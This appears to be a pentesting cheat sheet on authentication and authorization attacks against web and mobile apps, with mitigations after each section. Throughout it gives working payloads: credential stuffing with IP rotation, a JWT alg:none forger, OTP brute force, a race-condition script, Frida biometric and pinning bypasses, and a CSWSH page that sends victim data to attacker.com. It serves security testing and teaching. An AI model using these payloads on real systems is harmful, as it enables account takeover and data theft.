Authentication attacks exploit weaknesses in login mechanisms to gain unauthorized access. This includes brute force, credential stuffing, username enumeration, and account takeover via predictable patterns. Modern applications often expose subtle information disclosures that enable targeted attacks against specific accounts.
- Brute force with Hydra / ffuf / Burp Intruder
- Credential stuffing from breached databases
- Username enumeration via response timing/messages
- Default credentials on admin panels
- Insecure "remember me" token forgery
- Account lockout bypass via IP rotation
# Valid user — note 200 + "Incorrect password" message POST /api/auth/login HTTP/1.1 Host: target.example.com Content-Type: application/json {"username": "admin@target.com", "password": "wrongpass"} HTTP/1.1 401 Unauthorized {"error": "Incorrect password"} ← reveals user exists # Invalid user — different message gives away enumeration {"username": "nobody@target.com", "password": "wrongpass"} HTTP/1.1 401 Unauthorized {"error": "User not found"} ← different error = enumerable
# 1. Capture login request in Burp Proxy # 2. Send to Intruder → Pitchfork attack # 3. Mark §username§ and §password§ positions # 4. Load breached credential list as payload set POST /login HTTP/1.1 Host: target.example.com X-Forwarded-For: §IP_ROTATE§ ← bypass IP rate limiting Content-Type: application/x-www-form-urlencoded username=§email§&password=§password§&_token=abc123 # Filter results: grep for 302 redirect or "dashboard" # Use ffuf for faster iteration: ffuf -w creds.txt:FUZZ -X POST -d 'user=FUZZ' \ -H 'Content-Type: application/json' \ -u https://target.com/api/login \ -mc 200 -fr '"error"'
- Full account takeover of any user
- Lateral movement within application
- Admin access via default credentials
- Mass account compromise via credential stuffing
- Implement account lockout with exponential backoff
- Use generic error messages for auth failures
- Deploy CAPTCHA after N failed attempts
- Enforce MFA for all sensitive accounts
- Monitor and alert on unusual login patterns
Session management flaws allow attackers to impersonate authenticated users by predicting, stealing, or fixing session tokens. Vulnerabilities span the entire token lifecycle: creation, transmission, storage, and invalidation.
- Session fixation pre/post authentication
- Token prediction via weak entropy
- Session token in URL parameters
- Missing Secure/HttpOnly cookie flags
- Session not invalidated on logout
- Concurrent session abuse
# Step 1: Inspect cookie attributes on login response HTTP/1.1 200 OK Set-Cookie: sessionid=abc123; Path=/; Domain=.example.com # Missing: Secure, HttpOnly, SameSite — all flags absent! # Step 2: Test if session regenerates post-authentication # Pre-login session: Cookie: sessionid=PRE_LOGIN_TOKEN # Post-login session (should be NEW): Cookie: sessionid=PRE_LOGIN_TOKEN ← same token = fixation vuln # Step 3: Test logout invalidation POST /logout HTTP/1.1 Cookie: sessionid=abc123xyz # After logout, replay old token: GET /api/profile HTTP/1.1 Cookie: sessionid=abc123xyz ← still works = no server-side invalidation
import requests, base64, binascii, math from collections import Counter # Collect N session tokens from login endpoint tokens = [] for _ in range(100): r = requests.post('https://target.com/api/login', json={'username':'test@t.com','password':'Password1!'}) token = r.cookies.get('sessionid') if token: tokens.append(token) # Check prefix/suffix patterns prefixes = [t[:8] for t in tokens] print("Common prefixes:", Counter(prefixes).most_common(3)) # Estimate bit entropy of token sample = tokens[0] entropy_bits = len(sample) * math.log2(62) # assume alphanumeric print(f"Estimated entropy: {entropy_bits:.0f} bits") # Anything < 128 bits is suspicious
- Session hijacking without credentials
- Persistent access after victim logout
- Cross-user session confusion
- Regenerate session ID on privilege change
- Set Secure; HttpOnly; SameSite=Strict on session cookies
- Invalidate server-side on logout
- Use cryptographically random 128-bit+ tokens
Multi-factor authentication can be bypassed through OTP brute force, response manipulation, MFA enrollment race conditions, recovery code abuse, and logic flaws that allow skipping the MFA step entirely after successful password authentication.
- OTP brute force (6-digit = 1,000,000 combos)
- Response manipulation to skip MFA step
- Reusing previously valid OTPs
- MFA enrollment takeover
- Direct API endpoint access bypassing UI MFA
- Backup code leakage / brute force
# Step 1: Submit wrong OTP, intercept response in Burp POST /api/auth/mfa/verify HTTP/1.1 Host: target.example.com Content-Type: application/json Authorization: Bearer PARTIAL_AUTH_TOKEN {"otp": "000000"} # Server response (failure): HTTP/1.1 400 Bad Request {"success": false, "message": "Invalid OTP"} # Attack: In Burp "Match and Replace", change false→true # OR intercept response and modify before forwarding: {"success": true, "message": "OTP verified"} # → Application proceeds to dashboard = MFA bypassed # Step 2: Test direct endpoint access after step 1 auth GET /api/user/profile HTTP/1.1 Authorization: Bearer PARTIAL_AUTH_TOKEN # If this returns 200 without MFA completion = bypass
# 1. Attack type: Sniper # 2. Payload: Numbers, 000000 to 999999 (zero-padded) # 3. Throttle: 50ms between requests (avoid lockout) # 4. Mark OTP field: {"otp": "§000000§"} # 5. Grep match: "success":true OR redirect to /dashboard # Also test: Does OTP expire? Can it be reused? POST /api/auth/mfa/verify HTTP/1.1 {"otp": "§000000§"} ← Intruder marks this position # Check for rate limiting: # - Is there lockout after N attempts? # - Does X-Forwarded-For bypass rate limit? # - Does changing User-Agent reset counter?
- Complete MFA bypass leading to account takeover
- Compromises the second factor entirely
- Attackers with only passwords gain full access
- Enforce server-side MFA state, never trust client
- Lock account after 5 failed OTP attempts
- OTPs must expire within 30–60 seconds
- Never allow OTP reuse
- Bind MFA session state to original session
Password reset flows are a frequent source of critical vulnerabilities. Attackers can poison reset links via Host header injection, predict reset tokens using weak entropy, abuse email parameter manipulation, or exploit race conditions to use tokens multiple times.
- Host header injection to redirect reset link
- Predictable reset tokens (timestamp-based)
- Token not invalidated after use
- Parameter pollution in reset request
- Email change + pending reset abuse
- Magic link takeover via referrer leak
# Attacker sends password reset for victim@target.com # Injects malicious Host header → link in email points to attacker domain POST /api/auth/reset-password HTTP/1.1 Host: attacker.com ← poisoned host X-Forwarded-Host: attacker.com ← try header variations X-Host: attacker.com Content-Type: application/json {"email": "victim@target.com"} # Server generates email with: # "Click to reset: https://attacker.com/reset?token=abc123" # Victim clicks → attacker captures token → takes over account # Also try: target.com@attacker.com format Host: target.com.attacker.com Host: target.com:80@attacker.com
# Test if duplicate email parameter sends to attacker POST /reset HTTP/1.1 Content-Type: application/x-www-form-urlencoded email=victim@target.com&email=attacker@evil.com # JSON arrays — try various parser behaviors {"email": ["victim@target.com", "attacker@evil.com"]} {"email": "victim@target.com,attacker@evil.com"} ← CC trick {"email": "victim@target.com%0a%0dBcc:attacker@evil.com"} ← header inj
- Account takeover of any user knowing their email
- Persistent access even after password change
- Mass account takeover via token prediction
- Build reset URLs from configured base URL, not Host header
- Use cryptographically random 256-bit tokens
- Invalidate token immediately after use
- Expire tokens after 15–60 minutes
- Invalidate all tokens on password change
OAuth 2.0 and SAML SSO implementations frequently contain logic flaws enabling account takeover. The most impactful attacks abuse open redirect_uri validation, missing state parameters (CSRF), authorization code interception, and account linking flaws where attacker-controlled OAuth identities can be linked to victim accounts.
- redirect_uri parameter manipulation
- Missing state parameter (OAuth CSRF)
- Authorization code theft via Referer leakage
- Implicit flow token leakage in URL fragments
- Account linking/merging takeover
- SAML signature bypass / XML injection
# Legitimate OAuth authorization request GET /oauth/authorize?client_id=app123 &response_type=code &redirect_uri=https://target.com/callback &scope=read:user &state=csrf_token_abc HTTP/1.1 Host: provider.example.com # Attack 1: Open redirect via path traversal redirect_uri=https://target.com/callback/../attacker.com redirect_uri=https://target.com.attacker.com/callback redirect_uri=https://target.com/callback%2F..%2F..%2Fattacker.com # Attack 2: Subdomain open redirect chaining # Find open redirect at sub.target.com/redirect?url=ANYTHING redirect_uri=https://sub.target.com/redirect?url=https://attacker.com # Provider sends auth code to attacker: # GET https://attacker.com/?code=AUTHCODE123 # Attacker exchanges code for access token POST /oauth/token HTTP/1.1 Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=AUTHCODE123 &redirect_uri=https://attacker.com &client_id=app123&client_secret=secret
# 1. Attacker initiates OAuth flow with their own account # 2. Captures authorization code before callback # 3. Serves crafted CSRF page to victim # CSRF page forces victim's browser to hit callback: <img src="https://target.com/oauth/callback?code=ATTACKERS_CODE"> # If state not validated → attacker's OAuth account linked to victim's session # Result: Attacker can login as victim via their OAuth provider # Check: Does /callback validate state parameter? # Check: Is state cryptographically bound to session?
- Account takeover without any credentials
- Unauthorized account linking
- Token theft enabling API impersonation
- Whitelist exact redirect_uri values, no wildcards
- Always validate state parameter against session
- Use PKCE for public clients
- Prefer authorization code flow over implicit
- Bind account linking to authenticated session
JWTs are widely misused as authentication tokens. Vulnerable implementations accept unsigned tokens (alg=none), use weak secrets crackable offline, confuse asymmetric key pairs (RS256 to HS256 confusion), or allow key injection via the kid/jku/x5u header parameters — all enabling token forgery.
- alg:none — remove signature entirely
- Weak HMAC secret — offline brute force
- RS256 → HS256 algorithm confusion
- kid header SQL/path injection
- jku/x5u header pointing to attacker JWKS
- Expired token still accepted
import base64, json # Original JWT (3 parts: header.payload.signature) original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.SIG" # Step 1: Decode and modify payload payload = {"user": "admin", "role": "admin"} # Step 2: Build new header with alg=none header = {"alg": "none", "typ": "JWT"} def b64url(d): return base64.urlsafe_b64encode( json.dumps(d, separators=(',',':')).encode() ).rstrip(b'=').decode() # Step 3: Forge token with empty signature forged = f"{b64url(header)}.{b64url(payload)}." print(forged) # → Send as: Authorization: Bearer {forged} # Also try variations: # alg: "None", "NONE", "nOnE" — case sensitivity bypass
# Save JWT to file echo -n "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSJ9.SIG" > jwt.txt # Crack with hashcat (mode 16500 = JWT HS256/384/512) hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt # Or use jwt_tool: python3 jwt_tool.py JWT_HERE -C -d /usr/share/wordlists/rockyou.txt # Common weak secrets to test manually: # secret, password, 123456, jwt-secret, mysecret # app name, company name, "your-256-bit-secret" # RS256→HS256 confusion attack: # If server signs with RS256, its PUBLIC key is known. # Sign with HS256 using the PUBLIC key as the HMAC secret. python3 jwt_tool.py JWT_HERE -X k -pk public_key.pem
# If kid is used in a DB query: SELECT key FROM keys WHERE id = '{kid}' # Inject to control the signing key { "alg": "HS256", "typ": "JWT", "kid": "anything' UNION SELECT 'attacker_secret'--" } # → Server uses 'attacker_secret' as HMAC key # → Sign JWT with that key → arbitrary claims accepted # Path traversal variant (file-based key lookup): { "kid": "../../dev/null" ← sign with empty key } # jku injection — point to attacker-hosted JWKS: { "alg": "RS256", "jku": "https://attacker.com/jwks.json", "kid": "attacker-key-id" }
- Forge tokens for any user including admin
- Privilege escalation via role manipulation
- Authentication bypass without credentials
- Explicitly specify and enforce expected algorithm
- Use 256+ bit random secrets for HS256
- Prefer RS256/ES256 with proper key management
- Never process jku/x5u from token header
- Sanitize kid parameter; use UUIDs not user input
Broken access control occurs when authorization checks are missing, inconsistent, or easily bypassed. Applications that rely on UI-level restrictions without enforcing them server-side are vulnerable to forced browsing, where attackers directly navigate to protected endpoints.
- Direct URL access to admin functions
- Method switching (GET→POST→PUT)
- Parameter tampering to bypass role check
- API versioning bypass (/v1/ vs /v2/)
- Content-type confusion (JSON vs XML)
- Removing authorization headers entirely
# Standard user attempts to access admin endpoint GET /api/v1/admin/users HTTP/1.1 Authorization: Bearer USER_TOKEN → HTTP/1.1 403 Forbidden # Try: method override headers GET /api/v1/admin/users HTTP/1.1 X-HTTP-Method-Override: POST X-Method-Override: POST # Try: API version downgrade (older version may lack auth check) GET /api/v0/admin/users HTTP/1.1 ← try v0, v2, beta, internal GET /internal/admin/users HTTP/1.1 # Try: Content-type confusion POST /api/admin/delete-user HTTP/1.1 Content-Type: text/plain ← bypass content-type based auth filter {"userId": "123"} # Try: Case manipulation on path GET /API/admin/Users HTTP/1.1 ← path case normalization
- Unauthorized access to administrative functions
- Data exposure across user boundaries
- Privilege escalation without exploitation
- Deny by default — all endpoints require explicit authorization
- Centralize authorization logic in middleware
- Never rely on HTTP method for access decisions
- Consistent authorization across all API versions
IDOR (Insecure Direct Object Reference) / BOLA (Broken Object Level Authorization) is the #1 API vulnerability. It occurs when an API endpoint receives a user-controlled identifier (user ID, document ID, order ID) and performs an action without verifying that the requesting user owns or has permission to access that specific object.
- Numeric ID increment/decrement in URLs
- UUID/GUID substitution from other accounts
- ID hidden in request body or headers
- Indirect reference via filename or email
- Chaining IDOR for write/delete operations
- Mass assignment creating unauthorized ownership
# User A (attacker) accesses their own profile GET /api/v1/users/1042/profile HTTP/1.1 Authorization: Bearer USER_A_TOKEN → 200 OK — returns User A's profile # IDOR: Substitute User B's ID GET /api/v1/users/1043/profile HTTP/1.1 ← changed ID Authorization: Bearer USER_A_TOKEN → 200 OK — returns User B's profile! ← IDOR confirmed # BOLA on order resource GET /api/orders/ORD-00092 HTTP/1.1 Authorization: Bearer USER_A_TOKEN → Returns User B's order details # Write IDOR — modify another user's data PUT /api/v1/users/1043/email HTTP/1.1 Authorization: Bearer USER_A_TOKEN {"email": "attacker@evil.com"} → 200 OK — Account Takeover via email change!
# 1. Login as User A, capture all requests in Burp history # 2. Note all IDs used: user ID, resource IDs, etc. # 3. Login as User B, note THEIR resource IDs # 4. Use Burp Repeater/Intruder to replace User A's IDs with User B's IDs # Example: Replace numeric IDs with Intruder (Sniper) GET /api/documents/§10042§ HTTP/1.1 Authorization: Bearer USER_A_TOKEN # Payload: Sequential numbers around known IDs # Filter: Responses that differ from "403 Forbidden" # Also check: IDs in request body, hidden form fields POST /api/download HTTP/1.1 { "document_id": §"uuid-here"§, "user_id": §1042§ ← try other user IDs }
- Unauthorized read/write/delete on any user's data
- PII exposure at scale (mass data harvesting)
- Account takeover via resource manipulation
- Financial fraud via order/payment manipulation
- Verify ownership on every object-level operation
- Use non-sequential identifiers (UUIDs v4)
- Never trust user-supplied IDs without server-side ownership check
- Implement object-level permission middleware
Privilege escalation exploits authorization flaws to gain higher-level permissions. Vertical escalation elevates a regular user to admin. Horizontal escalation allows access to peer accounts at the same privilege level. Both are commonly achieved through parameter manipulation, mass assignment, or role tampering in tokens.
- Role parameter in request body (mass assignment)
- isAdmin / is_staff field injection
- JWT role claim manipulation
- Group/org ID manipulation
- Referencing admin-only API fields in requests
- Profile update with role field included
# Normal profile update request PATCH /api/v1/users/me HTTP/1.1 Authorization: Bearer USER_TOKEN Content-Type: application/json { "display_name": "Alice", "bio": "Security researcher" } # Mass Assignment Attack: add privileged fields { "display_name": "Alice", "bio": "Security researcher", "role": "admin", ← injected "is_admin": true, ← injected "permissions": ["admin", "*"] ← injected } # Check API docs / JS source for model field names # Look at GET /api/users/me response to understand full schema GET /api/users/me → {"id":1,"email":...,"role":"user","is_admin":false} # → Try sending those exact field names in PATCH/PUT
- Full administrative control of application
- Access to all user data and configurations
- Ability to modify security settings
- Use allowlists for mass-assignable fields
- Never bind privileged fields from user input
- Separate admin-only DTOs from user-facing DTOs
- Audit all PATCH/PUT endpoints for mass assignment
Role-Based Access Control (RBAC) misconfigurations occur when roles are too permissive, permission inheritance is not properly enforced, or when elevated roles are granted by default or through unintended mechanisms. These flaws often manifest in legacy code paths, API endpoints added without proper review, or misunderstood permission inheritance.
- Wildcard permissions (resource:*)
- Over-permissive default role on registration
- Inherited permissions exceed intended scope
- Role not re-evaluated on resource ownership change
- Deprecated admin endpoints still accessible
- Feature flags granting extra access
# Step 1: Map all roles (register multiple accounts with different roles) # Roles: anonymous, user, moderator, editor, admin, superadmin # Step 2: Build an access control matrix # For each endpoint × role combination, record expected vs actual result Endpoint | anon | user | mod | admin GET /api/users | 403 | 403 | 200 | 200 GET /api/users/{id} | 403 | 200* | 200 | 200 ← *own only DELETE /api/users/{id} | 403 | 403 | 403 | 200 GET /api/admin/audit-log | 403 | 200 | 403 | 200 ← misconfigured! # Step 3: Test each endpoint as each role using Burp's # "Compare site maps" with different session tokens # Step 4: Check feature flag exposure GET /api/me/features HTTP/1.1 Authorization: Bearer USER_TOKEN {"features": { "beta_export": false, "admin_panel": false }} # Try PATCH /api/me/features with {"admin_panel": true}
- Users access features above their privilege level
- Audit/compliance data exposed to wrong parties
- Wildcard permissions enable unintended actions
- Audit all role-permission assignments regularly
- Apply principle of least privilege by default
- Use explicit permission lists, not wildcards
- Automate permission matrix testing in CI/CD
API-specific authorization flaws include BFLA (Broken Function Level Authorization) where non-admin users can invoke admin API functions, overprivileged API keys, missing scope validation on OAuth tokens, and API keys exposed in JavaScript bundles or git repositories.
- Admin API endpoints accessible to user tokens
- API key with broader scope than needed
- OAuth token scope not validated
- API keys in frontend JS / git history
- HTTP verb tampering on CRUD endpoints
- Internal API paths accessible externally
# 1. Extract API endpoints from JavaScript bundles curl -s https://target.com/static/js/main.chunk.js | \ grep -oE '["'"'"'](/api/[^"'"'"']+)["'"'"']' | sort -u # 2. Discover from OpenAPI/Swagger spec curl https://target.com/api-docs/swagger.json | jq '.paths | keys[]' curl https://target.com/openapi.yaml # 3. Fuzz for undocumented admin endpoints ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt \ -u https://target.com/api/FUZZ \ -H "Authorization: Bearer USER_TOKEN" \ -mc 200,201,301,302 # 4. Test each discovered endpoint with user token # Look for: 200 on endpoints that should require admin GET /api/admin/export-users HTTP/1.1 Authorization: Bearer USER_TOKEN ← should 403, might 200 # 5. Check git exposure curl https://target.com/.git/COMMIT_EDITMSG trufflehog git https://github.com/target/repo --only-verified
# Token was issued with scope: read:profile # Test if it can perform write operations POST /api/v1/profile/avatar HTTP/1.1 Authorization: Bearer READONLY_TOKEN Content-Type: multipart/form-data # If server doesn't validate scope claim in JWT → write succeeds # Check JWT payload: { "sub": "user123", "scope": "read:profile", ← modify this "iat": 1700000000 } # Try: scope: "read:profile write:profile admin"
- Users invoke admin operations without privileges
- API key exposure leads to full backend access
- Overprivileged tokens enable broad data access
- Enforce authorization on every API endpoint individually
- Validate OAuth scope claims server-side
- Rotate all exposed API keys immediately
- Use secret scanning in CI/CD (Gitleaks, Trufflesearch)
Business logic flaws exist in the application's unique workflows rather than in generic authorization mechanisms. These include skipping checkout steps, submitting negative prices, abusing coupon/referral systems, or accessing resources in an unexpected state (e.g., reading a deleted document, modifying a closed ticket).
- Skip multi-step workflow steps (checkout)
- Negative price / quantity manipulation
- Coupon stacking beyond intended limits
- Access resources in wrong lifecycle state
- Replay completed transactions
- Concurrent requests to claim single-use bonuses
# Normal checkout flow: add-to-cart → review → payment POST /api/cart/checkout HTTP/1.1 Authorization: Bearer USER_TOKEN { "items": [{"product_id": "PROD-001", "qty": 1}], "total": 0.01, ← modify price client-side "currency": "USD" } # Negative quantity to get refund credits {"items": [{"product_id": "PROD-001", "qty": -1}]} # Step skip: jump directly to confirmation without payment POST /api/checkout/confirm HTTP/1.1 {"order_id": "ORD-7291", "payment_status": "completed"} # → If server trusts client payment_status → free order
- Financial loss via price manipulation
- Unauthorized feature access via step skip
- Referral/bonus fraud at scale
- Always recalculate prices server-side
- Enforce workflow state transitions server-side
- Never trust client-supplied payment status
- Validate non-negative quantities server-side
SaaS applications serving multiple organizations must enforce tenant isolation at every data access layer. Failures allow one tenant's users to access or modify another tenant's data — often through org_id or tenant_id parameter manipulation, subdomain confusion, or missing tenant context in API queries.
- org_id / tenant_id parameter manipulation
- Subdomain hopping (evil.saas.com → victim.saas.com)
- Shared resource IDs across tenants
- Invitation link cross-tenant abuse
- Admin features accessible to tenant admins
- Cross-tenant webhook/export data exposure
# Attacker's tenant: org_id = "tenant-A-uuid" # JWT: {"sub": "user1", "org_id": "tenant-A-uuid", "role": "admin"} # Normal request within own tenant GET /api/v1/org/tenant-A-uuid/users HTTP/1.1 Authorization: Bearer TENANT_A_TOKEN → 200 OK — Tenant A's users # Cross-tenant attack: substitute Tenant B's org_id GET /api/v1/org/tenant-B-uuid/users HTTP/1.1 Authorization: Bearer TENANT_A_TOKEN → 200 OK — returns Tenant B's users! ← cross-tenant IDOR # Also test: inject org_id in request body POST /api/v1/reports HTTP/1.1 { "report_type": "users", "org_id": "tenant-B-uuid" ← cross-tenant } # JWT manipulation: modify org_id claim if weak/unsigned
- Exposure of all customer data to competitor
- Complete SaaS platform data breach
- Regulatory violations (GDPR, HIPAA, SOC2)
- Derive tenant context from authenticated token only
- Never trust tenant ID from request body/URL
- Row-level security in database queries
- Audit all queries for tenant scope filters
Token handling flaws allow attackers who compromise a token to maintain persistent access. This includes refresh tokens that never expire, tokens not revoked on logout or password change, tokens reusable after being marked as consumed, and access tokens with excessively long lifetimes.
- Refresh token with unlimited lifetime
- Refresh token reuse (rotation not enforced)
- Access token valid after password change
- Token not revoked on logout
- Refresh token theft via XSS
- Token leakage in server logs / Referer
# Step 1: Get access + refresh token pair POST /api/auth/login HTTP/1.1 → {"access_token": "AT_abc", "refresh_token": "RT_xyz"} # Step 2: Rotate refresh token POST /api/auth/refresh HTTP/1.1 {"refresh_token": "RT_xyz"} → {"access_token": "AT_new", "refresh_token": "RT_new"} # Step 3: Attempt to reuse OLD refresh token POST /api/auth/refresh HTTP/1.1 {"refresh_token": "RT_xyz"} ← old token → Should return 401, but might return new tokens! # Step 4: Test token after logout POST /api/auth/logout HTTP/1.1 Authorization: Bearer AT_abc # Replay after logout: GET /api/user/profile HTTP/1.1 Authorization: Bearer AT_abc ← should 401, might 200 # Step 5: Test after password change POST /api/user/change-password HTTP/1.1 {"new_password": "NewPass123!"} # Old tokens should all be revoked now
- Persistent access after password change
- Revoked tokens continue to grant access
- Stolen refresh tokens enable indefinite access
- Implement refresh token rotation with reuse detection
- Revoke all tokens on password change
- Short-lived access tokens (15 min max)
- Maintain server-side token revocation list
Session cookies missing security flags are vulnerable to theft via XSS (missing HttpOnly), network interception (missing Secure), and cross-site request forgery (missing SameSite). Cookie scoping issues allow subdomain-based poisoning, and cookie prefixes (__Secure-, __Host-) can be abused or bypassed.
- Missing HttpOnly → XSS cookie theft
- Missing Secure → plaintext transmission
- SameSite=None → CSRF viable
- Subdomain cookie poisoning
- Cookie injection via CRLF
- Cookie prefix bypass
# Ideal secure session cookie: Set-Cookie: session=abc123; HttpOnly; ← prevents JS access Secure; ← HTTPS only SameSite=Strict; ← prevents CSRF Path=/; Max-Age=3600 # Vulnerable cookie (common real-world finding): Set-Cookie: session=abc123; Domain=.example.com # Missing: Secure, HttpOnly, SameSite — full exposure # Cookie Tossing Attack — subdomain poisoning # Attacker controls sub.example.com (e.g., via XSS or CNAME takeover) # Sets cookie scoped to .example.com: document.cookie = "session=EVIL_VALUE; domain=.example.com; path=/" # → Victim's requests to example.com include the poisoned cookie # → If server trusts longest/first match incorrectly → session fixation # CRLF Cookie Injection GET /redirect?url=https://example.com/%0d%0aSet-Cookie:session=evil HTTP/1.1 # If Location header reflects URL without encoding → injects Set-Cookie
- Session theft via XSS without HttpOnly
- CSRF attacks without SameSite
- MitM cookie interception without Secure
- Set HttpOnly, Secure, SameSite=Strict on all auth cookies
- Use __Host- prefix for maximum security
- Scope cookies to specific paths, not root domain
- Implement CSRF tokens as defense-in-depth
Race conditions in authentication flows exploit the gap between validation and action (TOCTOU). This enables single-use token reuse, coupon code abuse, bypass of per-user rate limits, and privilege escalation during account state transitions. The Burp Suite "Last-Byte Synchronization" technique reliably triggers these conditions.
- Parallel requests to consume single-use tokens
- Concurrent password reset token consumption
- Race on account tier upgrade/downgrade
- Limit bypass on rate-limited endpoints
- Double-spend on credit/balance systems
- Parallel MFA bypass attempts
# Burp Suite Repeater — Last-Byte Synchronization # 1. Send initial request to Repeater # 2. Duplicate tab 20 times (Ctrl+D × 20) # 3. Select all tabs → "Send group (parallel)" # 4. This holds all connections open until last byte, then releases simultaneously # Target: single-use coupon redemption POST /api/redeem-coupon HTTP/1.1 Authorization: Bearer USER_TOKEN {"coupon_code": "SAVE50"} # Send 20 in parallel → if no atomic check, 20 redemptions succeed # Python turbo-intruder style: import threading, requests url = 'https://target.com/api/redeem-coupon' token = 'USER_TOKEN' results = [] def redeem(): r = requests.post(url, json={'coupon_code': 'SAVE50'}, headers={'Authorization': f'Bearer {token}'}) results.append(r.status_code) threads = [threading.Thread(target=redeem) for _ in range(20)] for t in threads: t.start() for t in threads: t.join() print(results) # Count 200 responses
- Single-use tokens consumed multiple times
- Financial loss via double-spend
- Rate limit bypass for brute force
- Use database-level atomic operations (SELECT FOR UPDATE)
- Implement idempotency keys for financial operations
- Mark tokens as used before completing operation
- Use pessimistic locking for critical state transitions
GraphQL APIs often implement authorization at the resolver level but miss field-level checks, allowing attackers to retrieve privileged fields within accessible objects. Introspection enables schema discovery, query batching bypasses rate limits, and aliases enable parallel brute force within a single request.
- Field-level authorization bypass
- Introspection to discover schema + mutations
- Nested object IDOR
- Query batching to bypass rate limits
- Alias-based brute force
- Deeply nested query DoS + info disclosure
# Step 1: Check if introspection is enabled { __schema { types { name fields { name } } } } # If returns schema → enumerate all types, fields, mutations # Step 2: Field-level authorization bypass # User can query own profile, but can they access privileged fields? { user(id: "me") { id email passwordHash ← should be restricted apiKey ← should be restricted internalNotes ← should be restricted twoFactorSecret ← should be restricted } } # Step 3: Nested IDOR via relationships { invoice(id: "INV-001") { owner { ← traverse to other user's object email phone allInvoices { amount } } } } # Step 4: Alias-based brute force OTP in single request { a1: verifyOTP(code: "000001") { success } a2: verifyOTP(code: "000002") { success } ... ← 1000 aliases in one request }
- Sensitive field exposure (API keys, secrets)
- Schema disclosure aids further attack planning
- Rate limit bypass via batching/aliases
- Implement field-level authorization, not just resolver-level
- Disable introspection in production
- Limit query depth and complexity
- Rate limit per resolver, not per HTTP request
WebSocket connections inherit the HTTP session at upgrade time and then lose HTTP-level protections. Authorization must be re-validated per message, not just at handshake. Cross-site WebSocket hijacking (CSWSH) exploits missing Origin validation during the upgrade handshake, allowing attacker pages to establish authenticated WebSocket connections as the victim.
- Cross-site WebSocket hijacking (CSWSH)
- Missing authorization on individual messages
- Message-level IDOR (send as other user)
- Privilege escalation via message payload
- Race condition in WebSocket auth state
- Token not re-validated on reconnect
<!-- Attacker's page — victim visits this while logged into target --> <script> // WebSocket upgrade uses cookies automatically (like CSRF) // If server doesn't validate Origin → CSWSH possible const ws = new WebSocket('wss://target.example.com/ws/chat'); ws.onopen = () => { // Authenticated as victim due to their session cookie ws.send(JSON.stringify({ type: 'get_messages', room: 'private' })); }; ws.onmessage = (e) => { // Exfiltrate victim's messages to attacker fetch('https://attacker.com/collect?d=' + btoa(e.data)); }; </script> # Server-side check — MUST validate Origin header during upgrade: GET /ws/chat HTTP/1.1 Upgrade: websocket Origin: https://attacker.com ← should be rejected Cookie: session=VICTIM_SESSION
- Real-time data exfiltration via victim's session
- Message-level privilege escalation
- Account actions performed without victim's knowledge
- Validate Origin header during WebSocket handshake
- Use ticket-based auth (get WS token via REST, pass in handshake)
- Re-authorize on each message for sensitive operations
- Implement per-message CSRF tokens
Mobile applications introduce unique authentication attack surfaces: tokens stored insecurely in local storage or SharedPreferences, biometric authentication bypassed via Frida hooks, certificate pinning disabled via SSL Kill Switch, and hardcoded API keys extracted through APK reverse engineering.
- Tokens in SharedPreferences / NSUserDefaults (plaintext)
- Certificate pinning bypass via Frida/SSL Kill Switch
- Biometric auth bypass via runtime hook
- Hardcoded API keys in APK/IPA
- Insecure deep link handling
- Auth bypass via backup file extraction
# Method 1: Frida SSL Kill Switch (Android) frida -U -f com.target.app --no-pause \ -l ssl-pinning-bypass.js # Method 2: Objection (wraps Frida, easier) objection -g com.target.app explore # Inside objection: android sslpinning disable # Method 3: APKTool + manual patch apktool d target.apk -o target_decompiled # Edit network_security_config.xml to allow all certs apktool b target_decompiled -o patched.apk jarsigner -keystore mykey.jks patched.apk alias # Extract stored tokens (Android SharedPreferences) adb shell run-as com.target.app cat /data/data/com.target.app/shared_prefs/*.xml # Look for: access_token, refresh_token, user_id, api_key # Decompile APK for hardcoded secrets jadx -d output/ target.apk grep -r "api_key\|secret\|password\|token" output/ --include="*.java" # iOS — dump Keychain (jailbroken device) keychain-dumper -a # Look for auth tokens in keychain items
// Hook Android BiometricPrompt to always return success Java.perform(() => { const BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt'); BiometricPrompt.authenticate.overload( 'androidx.biometric.BiometricPrompt$CryptoObject', 'androidx.core.os.CancellationSignal', 'java.util.concurrent.Executor', 'androidx.biometric.BiometricPrompt$AuthenticationCallback' ).implementation = function(crypto, cancel, executor, callback) { // Trigger success callback directly callback.onAuthenticationSucceeded( BiometricPrompt.AuthenticationResult.class.newInstance(crypto) ); }; });
- Token extraction → account takeover
- Hardcoded keys → backend API compromise
- Biometric bypass → unauthorized local app access
- Store tokens in Android Keystore / iOS Keychain with biometric binding
- Implement certificate pinning with backup pins
- Never hardcode API keys — use remote config
- Tie biometric auth to cryptographic operation, not just flag